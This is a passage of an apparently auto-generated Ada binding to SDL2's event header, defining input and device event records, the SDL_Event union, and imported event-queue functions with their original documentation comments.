..\SDL2_tmp\SDL_events.h:245 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:246 text : aliased SDL_TextInputEvent_text_array; -- ..\SDL2_tmp\SDL_events.h:247 end record; pragma Convention (C_Pass_By_Copy, SDL_TextInputEvent); -- ..\SDL2_tmp\SDL_events.h:242 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with keyboard focus, if any --*< The input text --* -- * \brief Mouse motion event structure (event.motion.*) -- --*< ::SDL_MOUSEMOTION type SDL_MouseMotionEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:255 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:256 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:257 which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:258 state : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:259 x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:260 y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:261 xrel : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:262 yrel : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:263 end record; pragma Convention (C_Pass_By_Copy, SDL_MouseMotionEvent); -- ..\SDL2_tmp\SDL_events.h:253 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with mouse focus, if any --*< The mouse instance id, or SDL_TOUCH_MOUSEID --*< The current button state --*< X coordinate, relative to window --*< Y coordinate, relative to window --*< The relative motion in the X direction --*< The relative motion in the Y direction --* -- * \brief Mouse button event structure (event.button.*) -- --*< ::SDL_MOUSEBUTTONDOWN or ::SDL_MOUSEBUTTONUP type SDL_MouseButtonEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:271 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:272 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:273 which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:274 button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:275 state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:276 clicks : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:277 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:278 x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:279 y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:280 end record; pragma Convention (C_Pass_By_Copy, SDL_MouseButtonEvent); -- ..\SDL2_tmp\SDL_events.h:269 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with mouse focus, if any --*< The mouse instance id, or SDL_TOUCH_MOUSEID --*< The mouse button index --*< ::SDL_PRESSED or ::SDL_RELEASED --*< 1 for single-click, 2 for double-click, etc. --*< X coordinate, relative to window --*< Y coordinate, relative to window --* -- * \brief Mouse wheel event structure (event.wheel.*) -- --*< ::SDL_MOUSEWHEEL type SDL_MouseWheelEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:288 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:289 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:290 which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:291 x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:292 y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:293 direction : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:294 end record; pragma Convention (C_Pass_By_Copy, SDL_MouseWheelEvent); -- ..\SDL2_tmp\SDL_events.h:286 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with mouse focus, if any --*< The mouse instance id, or SDL_TOUCH_MOUSEID --*< The amount scrolled horizontally, positive to the right and negative to the left --*< The amount scrolled vertically, positive away from the user and negative toward the user --*< Set to one of the SDL_MOUSEWHEEL_* defines. When FLIPPED the values in X and Y will be opposite. Multiply by -1 to change them back --* -- * \brief Joystick axis motion event structure (event.jaxis.*) -- --*< ::SDL_JOYAXISMOTION type SDL_JoyAxisEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:302 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:303 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:304 axis : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:305 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:306 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:307 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:308 value : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:309 padding4 : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:310 end record; pragma Convention (C_Pass_By_Copy, SDL_JoyAxisEvent); -- ..\SDL2_tmp\SDL_events.h:300 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The joystick axis index --*< The axis value (range: -32768 to 32767) --* -- * \brief Joystick trackball motion event structure (event.jball.*) -- --*< ::SDL_JOYBALLMOTION type SDL_JoyBallEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:318 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:319 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:320 ball : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:321 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:322 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:323 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:324 xrel : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:325 yrel : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:326 end record; pragma Convention (C_Pass_By_Copy, SDL_JoyBallEvent); -- ..\SDL2_tmp\SDL_events.h:316 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The joystick trackball index --*< The relative motion in the X direction --*< The relative motion in the Y direction --* -- * \brief Joystick hat position change event structure (event.jhat.*) -- --*< ::SDL_JOYHATMOTION type SDL_JoyHatEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:334 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:335 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:336 hat : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:337 value : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:338 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:345 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:346 end record; pragma Convention (C_Pass_By_Copy, SDL_JoyHatEvent); -- ..\SDL2_tmp\SDL_events.h:332 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The joystick hat index --*< The hat position value. -- * \sa ::SDL_HAT_LEFTUP ::SDL_HAT_UP ::SDL_HAT_RIGHTUP -- * \sa ::SDL_HAT_LEFT ::SDL_HAT_CENTERED ::SDL_HAT_RIGHT -- * \sa ::SDL_HAT_LEFTDOWN ::SDL_HAT_DOWN ::SDL_HAT_RIGHTDOWN -- * -- * Note that zero means the POV is centered. -- --* -- * \brief Joystick button event structure (event.jbutton.*) -- --*< ::SDL_JOYBUTTONDOWN or ::SDL_JOYBUTTONUP type SDL_JoyButtonEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:354 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:355 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:356 button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:357 state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:358 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:359 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:360 end record; pragma Convention (C_Pass_By_Copy, SDL_JoyButtonEvent); -- ..\SDL2_tmp\SDL_events.h:352 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The joystick button index --*< ::SDL_PRESSED or ::SDL_RELEASED --* -- * \brief Joystick device event structure (event.jdevice.*) -- --*< ::SDL_JOYDEVICEADDED or ::SDL_JOYDEVICEREMOVED type SDL_JoyDeviceEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:368 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:369 which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:370 end record; pragma Convention (C_Pass_By_Copy, SDL_JoyDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:366 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick device index for the ADDED event, instance id for the REMOVED event --* -- * \brief Game controller axis motion event structure (event.caxis.*) -- --*< ::SDL_CONTROLLERAXISMOTION type SDL_ControllerAxisEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:379 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:380 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:381 axis : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:382 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:383 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:384 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:385 value : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:386 padding4 : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:387 end record; pragma Convention (C_Pass_By_Copy, SDL_ControllerAxisEvent); -- ..\SDL2_tmp\SDL_events.h:377 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The controller axis (SDL_GameControllerAxis) --*< The axis value (range: -32768 to 32767) --* -- * \brief Game controller button event structure (event.cbutton.*) -- --*< ::SDL_CONTROLLERBUTTONDOWN or ::SDL_CONTROLLERBUTTONUP type SDL_ControllerButtonEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:396 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:397 which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:398 button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:399 state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:400 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:401 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:402 end record; pragma Convention (C_Pass_By_Copy, SDL_ControllerButtonEvent); -- ..\SDL2_tmp\SDL_events.h:394 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick instance id --*< The controller button (SDL_GameControllerButton) --*< ::SDL_PRESSED or ::SDL_RELEASED --* -- * \brief Controller device event structure (event.cdevice.*) -- --*< ::SDL_CONTROLLERDEVICEADDED, ::SDL_CONTROLLERDEVICEREMOVED, or ::SDL_CONTROLLERDEVICEREMAPPED type SDL_ControllerDeviceEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:411 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:412 which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:413 end record; pragma Convention (C_Pass_By_Copy, SDL_ControllerDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:409 --*< In milliseconds, populated using SDL_GetTicks() --*< The joystick device index for the ADDED event, instance id for the REMOVED or REMAPPED event --* -- * \brief Audio device event structure (event.adevice.*) -- --*< ::SDL_AUDIODEVICEADDED, or ::SDL_AUDIODEVICEREMOVED type SDL_AudioDeviceEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:421 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:422 which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:423 iscapture : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:424 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:425 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:426 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:427 end record; pragma Convention (C_Pass_By_Copy, SDL_AudioDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:419 --*< In milliseconds, populated using SDL_GetTicks() --*< The audio device index for the ADDED event (valid until next SDL_GetNumAudioDevices() call), SDL_AudioDeviceID for the REMOVED event --*< zero if an output device, non-zero if a capture device. --* -- * \brief Touch finger event structure (event.tfinger.*) -- --*< ::SDL_FINGERMOTION or ::SDL_FINGERDOWN or ::SDL_FINGERUP type SDL_TouchFingerEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:436 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:437 touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:438 fingerId : aliased SDL_touch_h.SDL_FingerID; -- ..\SDL2_tmp\SDL_events.h:439 x : aliased float; -- ..\SDL2_tmp\SDL_events.h:440 y : aliased float; -- ..\SDL2_tmp\SDL_events.h:441 dx : aliased float; -- ..\SDL2_tmp\SDL_events.h:442 dy : aliased float; -- ..\SDL2_tmp\SDL_events.h:443 pressure : aliased float; -- ..\SDL2_tmp\SDL_events.h:444 end record; pragma Convention (C_Pass_By_Copy, SDL_TouchFingerEvent); -- ..\SDL2_tmp\SDL_events.h:434 --*< In milliseconds, populated using SDL_GetTicks() --*< The touch device id --*< Normalized in the range 0...1 --*< Normalized in the range 0...1 --*< Normalized in the range -1...1 --*< Normalized in the range -1...1 --*< Normalized in the range 0...1 --* -- * \brief Multiple Finger Gesture Event (event.mgesture.*) -- --*< ::SDL_MULTIGESTURE type SDL_MultiGestureEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:453 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:454 touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:455 dTheta : aliased float; -- ..\SDL2_tmp\SDL_events.h:456 dDist : aliased float; -- ..\SDL2_tmp\SDL_events.h:457 x : aliased float; -- ..\SDL2_tmp\SDL_events.h:458 y : aliased float; -- ..\SDL2_tmp\SDL_events.h:459 numFingers : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:460 padding : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:461 end record; pragma Convention (C_Pass_By_Copy, SDL_MultiGestureEvent); -- ..\SDL2_tmp\SDL_events.h:451 --*< In milliseconds, populated using SDL_GetTicks() --*< The touch device id --* -- * \brief Dollar Gesture Event (event.dgesture.*) -- --*< ::SDL_DOLLARGESTURE or ::SDL_DOLLARRECORD type SDL_DollarGestureEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:470 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:471 touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:472 gestureId : aliased SDL_gesture_h.SDL_GestureID; -- ..\SDL2_tmp\SDL_events.h:473 numFingers : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:474 error : aliased float; -- ..\SDL2_tmp\SDL_events.h:475 x : aliased float; -- ..\SDL2_tmp\SDL_events.h:476 y : aliased float; -- ..\SDL2_tmp\SDL_events.h:477 end record; pragma Convention (C_Pass_By_Copy, SDL_DollarGestureEvent); -- ..\SDL2_tmp\SDL_events.h:468 --*< In milliseconds, populated using SDL_GetTicks() --*< The touch device id --*< Normalized center of gesture --*< Normalized center of gesture --* -- * \brief An event used to request a file open by the system (event.drop.*) -- * This event is enabled by default, you can disable it with SDL_EventState(). -- * \note If this event is enabled, you must free the filename in the event. -- --*< ::SDL_DROPBEGIN or ::SDL_DROPFILE or ::SDL_DROPTEXT or ::SDL_DROPCOMPLETE type SDL_DropEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:488 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:489 file : Interfaces.C.Strings.chars_ptr; -- ..\SDL2_tmp\SDL_events.h:490 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:491 end record; pragma Convention (C_Pass_By_Copy, SDL_DropEvent); -- ..\SDL2_tmp\SDL_events.h:486 --*< In milliseconds, populated using SDL_GetTicks() --*< The file name, which should be freed with SDL_free(), is NULL on begin/complete --*< The window that was dropped on, if any --* -- * \brief Sensor event structure (event.sensor.*) -- --*< ::SDL_SENSORUPDATE type SDL_SensorEvent_data_array is array (0 .. 5) of aliased float; type SDL_SensorEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:500 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:501 which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:502 data : aliased SDL_SensorEvent_data_array; -- ..\SDL2_tmp\SDL_events.h:503 end record; pragma Convention (C_Pass_By_Copy, SDL_SensorEvent); -- ..\SDL2_tmp\SDL_events.h:498 --*< In milliseconds, populated using SDL_GetTicks() --*< The instance ID of the sensor --*< Up to 6 values from the sensor - additional values can be queried using SDL_SensorGetData() --* -- * \brief The "quit requested" event -- --*< ::SDL_QUIT type SDL_QuitEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:511 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:512 end record; pragma Convention (C_Pass_By_Copy, SDL_QuitEvent); -- ..\SDL2_tmp\SDL_events.h:509 --*< In milliseconds, populated using SDL_GetTicks() --* -- * \brief OS Specific event -- --*< ::SDL_QUIT type SDL_OSEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:520 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:521 end record; pragma Convention (C_Pass_By_Copy, SDL_OSEvent); -- ..\SDL2_tmp\SDL_events.h:518 --*< In milliseconds, populated using SDL_GetTicks() --* -- * \brief A user-defined event type (event.user.*) -- --*< ::SDL_USEREVENT through ::SDL_LASTEVENT-1 type SDL_UserEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:529 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:530 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:531 code : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:532 data1 : System.Address; -- ..\SDL2_tmp\SDL_events.h:533 data2 : System.Address; -- ..\SDL2_tmp\SDL_events.h:534 end record; pragma Convention (C_Pass_By_Copy, SDL_UserEvent); -- ..\SDL2_tmp\SDL_events.h:527 --*< In milliseconds, populated using SDL_GetTicks() --*< The associated window if any --*< User defined event code --*< User defined data pointer --*< User defined data pointer type SDL_SysWMmsg is null record; -- incomplete struct --* -- * \brief A video driver dependent system event (event.syswm.*) -- * This event is disabled by default, you can enable it with SDL_EventState() -- * -- * \note If you want to use this event, you should include SDL_syswm.h. -- --*< ::SDL_SYSWMEVENT type SDL_SysWMEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:549 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:550 msg : access SDL_SysWMmsg; -- ..\SDL2_tmp\SDL_events.h:551 end record; pragma Convention (C_Pass_By_Copy, SDL_SysWMEvent); -- ..\SDL2_tmp\SDL_events.h:547 --*< In milliseconds, populated using SDL_GetTicks() --*< driver dependent data, defined in SDL_syswm.h --* -- * \brief General event structure -- --*< Event type, shared with all events type SDL_Event_padding_array is array (0 .. 55) of aliased SDL_stdinc_h.Uint8; type SDL_Event (discr : unsigned := 0) is record case discr is when 0 => c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:559 when 1 => common : aliased SDL_CommonEvent; -- ..\SDL2_tmp\SDL_events.h:560 when 2 => display : aliased SDL_DisplayEvent; -- ..\SDL2_tmp\SDL_events.h:561 when 3 => window : aliased SDL_WindowEvent; -- ..\SDL2_tmp\SDL_events.h:562 when 4 => key : aliased SDL_KeyboardEvent; -- ..\SDL2_tmp\SDL_events.h:563 when 5 => edit : aliased SDL_TextEditingEvent; -- ..\SDL2_tmp\SDL_events.h:564 when 6 => text : aliased SDL_TextInputEvent; -- ..\SDL2_tmp\SDL_events.h:565 when 7 => motion : aliased SDL_MouseMotionEvent; -- ..\SDL2_tmp\SDL_events.h:566 when 8 => button : aliased SDL_MouseButtonEvent; -- ..\SDL2_tmp\SDL_events.h:567 when 9 => wheel : aliased SDL_MouseWheelEvent; -- ..\SDL2_tmp\SDL_events.h:568 when 10 => jaxis : aliased SDL_JoyAxisEvent; -- ..\SDL2_tmp\SDL_events.h:569 when 11 => jball : aliased SDL_JoyBallEvent; -- ..\SDL2_tmp\SDL_events.h:570 when 12 => jhat : aliased SDL_JoyHatEvent; -- ..\SDL2_tmp\SDL_events.h:571 when 13 => jbutton : aliased SDL_JoyButtonEvent; -- ..\SDL2_tmp\SDL_events.h:572 when 14 => jdevice : aliased SDL_JoyDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:573 when 15 => caxis : aliased SDL_ControllerAxisEvent; -- ..\SDL2_tmp\SDL_events.h:574 when 16 => cbutton : aliased SDL_ControllerButtonEvent; -- ..\SDL2_tmp\SDL_events.h:575 when 17 => cdevice : aliased SDL_ControllerDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:576 when 18 => adevice : aliased SDL_AudioDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:577 when 19 => sensor : aliased SDL_SensorEvent; -- ..\SDL2_tmp\SDL_events.h:578 when 20 => quit : aliased SDL_QuitEvent; -- ..\SDL2_tmp\SDL_events.h:579 when 21 => user : aliased SDL_UserEvent; -- ..\SDL2_tmp\SDL_events.h:580 when 22 => syswm : aliased SDL_SysWMEvent; -- ..\SDL2_tmp\SDL_events.h:581 when 23 => tfinger : aliased SDL_TouchFingerEvent; -- ..\SDL2_tmp\SDL_events.h:582 when 24 => mgesture : aliased SDL_MultiGestureEvent; -- ..\SDL2_tmp\SDL_events.h:583 when 25 => dgesture : aliased SDL_DollarGestureEvent; -- ..\SDL2_tmp\SDL_events.h:584 when 26 => drop : aliased SDL_DropEvent; -- ..\SDL2_tmp\SDL_events.h:585 when others => padding : aliased SDL_Event_padding_array; -- ..\SDL2_tmp\SDL_events.h:594 end case; end record; pragma Convention (C_Pass_By_Copy, SDL_Event); pragma Unchecked_Union (SDL_Event); -- ..\SDL2_tmp\SDL_events.h:557 --*< Common event data --*< Window event data --*< Window event data --*< Keyboard event data --*< Text editing event data --*< Text input event data --*< Mouse motion event data --*< Mouse button event data --*< Mouse wheel event data --*< Joystick axis event data --*< Joystick ball event data --*< Joystick hat event data --*< Joystick button event data --*< Joystick device change event data --*< Game Controller axis event data --*< Game Controller button event data --*< Game Controller device event data --*< Audio device event data --*< Sensor event data --*< Quit request event data --*< Custom event data --*< System dependent window event data --*< Touch finger event data --*< Gesture event data --*< Gesture event data --*< Drag and drop event data -- This is necessary for ABI compatibility between Visual C++ and GCC -- Visual C++ will respect the push pack pragma and use 52 bytes for -- this structure, and GCC will use the alignment of the largest datatype -- within the union, which is 8 bytes. -- So... we'll add padding to force the size to be 56 bytes for both. -- -- Function prototypes --* -- * Pumps the event loop, gathering events from the input devices. -- * -- * This function updates the event queue and internal input device state. -- * -- * This should only be run in the thread that sets the video mode. -- procedure SDL_PumpEvents; -- ..\SDL2_tmp\SDL_events.h:607 pragma Import (C, SDL_PumpEvents, "SDL_PumpEvents"); -- @{ type SDL_eventaction is (SDL_ADDEVENT, SDL_PEEKEVENT, SDL_GETEVENT); pragma Convention (C, SDL_eventaction); -- ..\SDL2_tmp\SDL_events.h:615 --* -- * Checks the event queue for messages and optionally returns them. -- * -- * If \c action is ::SDL_ADDEVENT, up to \c numevents events will be added to -- * the back of the event queue. -- * -- * If \c action is ::SDL_PEEKEVENT, up to \c numevents events at the front -- * of the event queue, within the specified minimum and maximum type, -- * will be returned and will not be removed from the queue. -- * -- * If \c action is ::SDL_GETEVENT, up to \c numevents events at the front -- * of the event queue, within the specified minimum and maximum type, -- * will be returned and will be removed from the queue. -- * -- * \return The number of events actually stored, or -1 if there was an error. -- * -- * This function is thread-safe. -- function SDL_PeepEvents (events : access SDL_Event; numevents : int; action : SDL_eventaction; minType : SDL_stdinc_h.Uint32; maxType : SDL_stdinc_h.Uint32) return int; -- ..\SDL2_tmp\SDL_events.h:635 pragma Import (C, SDL_PeepEvents, "SDL_PeepEvents"); -- @} --* -- * Checks to see if certain event types are in the event queue. -- function SDL_HasEvent (c_type : SDL_stdinc_h.Uint32) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:643 pragma Import (C, SDL_HasEvent, "SDL_HasEvent"); function SDL_HasEvents (minType : SDL_stdinc_h.Uint32; maxType : SDL_stdinc_h.Uint32) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:644 pragma Import (C, SDL_HasEvents, "SDL_HasEvents"); --* -- * This function clears events from the event queue -- * This function only affects currently queued events. If you want to make -- * sure that all pending OS events are flushed, you can call SDL_PumpEvents() -- * on the main thread immediately before the flush call. -- procedure SDL_FlushEvent (c_type : SDL_stdinc_h.Uint32); -- ..\SDL2_tmp\SDL_events.h:652 pragma Import (C, SDL_FlushEvent, "SDL_FlushEvent"); procedure SDL_FlushEvents (minType : SDL_stdinc_h.Uint32; maxType : SDL_stdinc_h.Uint32); -- ..\SDL2_tmp\SDL_events.h:653 pragma Import (C, SDL_FlushEvents, "SDL_FlushEvents"); --* -- * \brief Polls for currently pending events. -- * -- * \return 1 if there are any pending events, or 0 if there are none available. -- * -- * \param event If not NULL, the next event is removed from the queue and -- * stored in that area. -- function SDL_PollEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:663 pragma Import (C, SDL_PollEvent, "SDL_PollEvent"); --* -- * \brief Waits indefinitely for the next available event. -- * -- * \return 1, or 0 if there was an error while waiting for events. -- * -- * \param event If not NULL, the next event is removed from the queue and -- * stored in that area. -- function SDL_WaitEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:673 pragma Import (C, SDL_WaitEvent, "SDL_WaitEvent"); --* -- * \brief Waits until the specified timeout (in milliseconds) for the next -- * available event. -- * -- * \return 1, or 0 if there was an error while waiting for events. -- * -- * \param event If not NULL, the next event is removed from the queue and -- * stored in that area. -- * \param timeout The timeout (in milliseconds) to wait for next event. -- function SDL_WaitEventTimeout (event : access SDL_Event; timeout : int) return int; -- ..\SDL2_tmp\SDL_events.h:685 pragma Import (C, SDL_WaitEventTimeout, "SDL_WaitEventTimeout"); --* -- * \brief Add an event to the event queue. -- * -- * \return 1 on success, 0 if the event was filtered, or -1 if the event queue -- * was full or there was some other error. -- function SDL_PushEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:694 pragma Import (C, SDL_PushEvent, "SDL_PushEvent"); type SDL_EventFilter is access function (arg1 : System.Address; arg2 : access SDL_Event) return int; pragma Convention (C, SDL_EventFilter); -- ..\SDL2_tmp\SDL_events.h:696 --* -- * Sets up a filter to process all events before they change internal state and -- * are posted to the internal event queue. -- * -- * The filter is prototyped as: -- * \code -- * int SDL_EventFilter(void *userdata, SDL_Event * event); -- * \endcode -- * -- * If the filter returns 1, then the event will be added to the internal queue. -- * If it returns 0, then the event will be dropped from the queue, but the -- * internal state will still be 